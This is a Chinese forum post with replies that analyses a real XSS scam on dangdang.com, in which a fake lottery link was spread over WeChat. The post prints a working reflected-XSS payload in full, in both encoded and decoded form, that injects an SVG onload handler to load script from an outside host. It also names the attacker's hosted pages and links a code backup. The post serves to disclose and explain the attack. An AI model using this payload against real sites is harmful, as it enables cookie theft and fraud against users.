当当网 XSS 攻击

40 天前
 Wanten

朋友在微信上问我当当网上小米产品抽奖是不是真实的。

他发了一张朋友圈其他人成功签收奖品的截图(很有真实性),以及抽奖链接:

http://product.m.dangdang.com/detail29297129-56-56.html?category_id=%3C/script%3E%3Csvg%20onload=setTimeout%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%60script%60%29%29.src%3D%60%2F%2Fnjkloop.oss-accelerate.aliyuncs.com%2Fdangdang%60%7D%2C0%29%3E

没多想,我点进去,跳转到另一个地方,开始抽奖,尝试两次后成功,但需要分享才能领取,这使我感到疑惑,我还没登陆呢,这就要我分享了?明显骗局。

decode url ,得到:

http://product.m.dangdang.com/detail29297129-56-56.html?category_id=</script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>

很显然这是 xss 攻击:

  1. 注入恶意代码:

    • 参数category_id的值中包含了一个结束</script>标签和一个SVG元素:
    </script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
    
  2. 结束现有的脚本标签:

    • </script>用于结束当前可能在解析的任何脚本标签。这是为了确保接下来的内容不会被当作普通文本处理,而是作为新的 HTML 和 JavaScript 代码执行。
  3. SVG 元素和 onload 事件:

    • <svg onload=...>使用 SVG 标签,因为 SVG 标签的 onload 事件可以执行 JavaScript 代码。这使得攻击者可以在页面加载时执行任意 JavaScript 代码。
  4. 延迟执行恶意代码:

    • setTimeout(function(){...},0)用于确保代码在浏览器完成当前任务后立即执行。

    • with(document)允许在代码块内直接使用 document 对象的方法和属性。

    • body.appendChild(createElement(script))创建一个新的 script 元素并将其附加到页面的 body 中。

    • .src='//njkloop.oss-accelerate.aliyuncs.com/dangdang'将新创建的 script 元素的 src 属性设置为一个外部脚本 URL 。这会导致浏览器从指定的 URL 加载并执行该脚本。

攻击者使用了:

document.open();
document.write(result);
document.close();

直接可以篡改文档,而不会改变 url ,因此分享给其他人后,还是以 dangdang.com 开头,并携带攻击参数 category_id 。

攻击之所以会成功,主要是因为,当当网将 category_id 的值直接插入到 HTML 页面中,而没有进行适当的转义或过滤。导致这些参数成为 HTML 的一部分,并且在浏览器中被解析和执行。

被加载的攻击代码:

  1. njkloop.oss-accelerate.aliyuncs.com/dangdang
  2. runs123.oss-accelerate.aliyuncs.com/public/html2/55/index.html

为了防止攻击者销毁代码,我做了备份:

https://github.com/WantenMN/DangDang-XSS-Exploit-Example

我不太想了解攻击者的实际意图,有兴趣的的小伙伴可以接着分析。

2404 次点击
所在节点    信息安全
13 条回复
codeName
40 天前
学习了
qq316107934
40 天前
攻击者现在跳转到百度了
HuberyPang
40 天前
涨姿势了
Wanten
40 天前
@qq316107934 需要在微信打开才能正确跳转,其他地方会跳转百度。请不要登陆当当网,避免 cookie 泄露
lzy250
40 天前
当当网有 src 吗?
lupus721
40 天前
点个赞
ysc3839
40 天前
内容是 AI 生成的?哪有用到 document.write ?
Wanten
40 天前
@ysc3839 1~4 的解释部分确实是 AI 生成的,但发表有关代码评论时请先看一遍代码:

https://github.com/WantenMN/DangDang-XSS-Exploit-Example/blob/f54d2f59c12ce7afe9a4a22925d09bd1221579d8/src/dangdang.js#L99
aoizz
40 天前


不小心的话真有可能中招
iOCZS
40 天前
这种攻击需要传播分享链接才有效
treblex
40 天前
感谢当当学习网,我也学会了🤣
wanwusangzhi
40 天前
赶紧冲
ysc3839
39 天前
@Wanten 多谢指正

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1041701

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX